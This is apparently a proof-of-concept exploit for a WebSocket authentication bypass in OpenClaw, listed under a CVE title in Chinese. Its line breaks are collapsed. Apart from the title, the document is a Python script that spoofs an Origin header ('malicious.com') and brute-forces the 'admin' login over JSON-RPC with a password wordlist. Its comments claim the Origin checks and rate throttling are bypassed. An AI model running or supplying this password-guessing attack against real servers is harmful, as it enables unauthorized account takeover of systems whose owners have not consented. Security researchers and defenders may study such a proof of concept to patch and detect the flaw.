CVE-2026-32025 OpenClaw WebSocket认证绕过漏洞

import asyncio import websockets import json # Target configuration TARGET_URI = "ws://localhost:8080/api/ws" # Replace with actual OpenClaw WebSocket endpoint USERNAME = "admin" # Common default username, adjust as needed WORDLIST = ["password", "123456", "admin", "openclaw", "root"] async def exploit_poC(): print(f"[*] Starting brute force attack on {TARGET_URI}") for password in WORDLIST: try: # The vulnerability allows bypassing Origin checks, so we can connect from any context headers = {"Origin": "http://malicious.com"} async with websockets.connect(TARGET_URI, extra_headers=headers) as websocket: # Construct authentication payload auth_payload = { "jsonrpc": "2.0", "method": "login", "params": { "username": USERNAME, "password": password }, "id": 1 } await websocket.send(json.dumps(auth_payload)) response = await websocket.recv() response_data = json.loads(response) # Check if login was successful if "result" in response_data or "token" in response_data: print(f"[+] SUCCESS! Password found: {password}") print(f"[+] Full Response: {response_data}") return True else: print(f"[-] Failed attempt: {password}") except Exception as e: print(f"[!] Error during connection or auth: {e}") # Continue trying as throttling is bypassed continue print("[*] Brute force completed.") return False if __name__ == "__main__": asyncio.run(exploit_poC())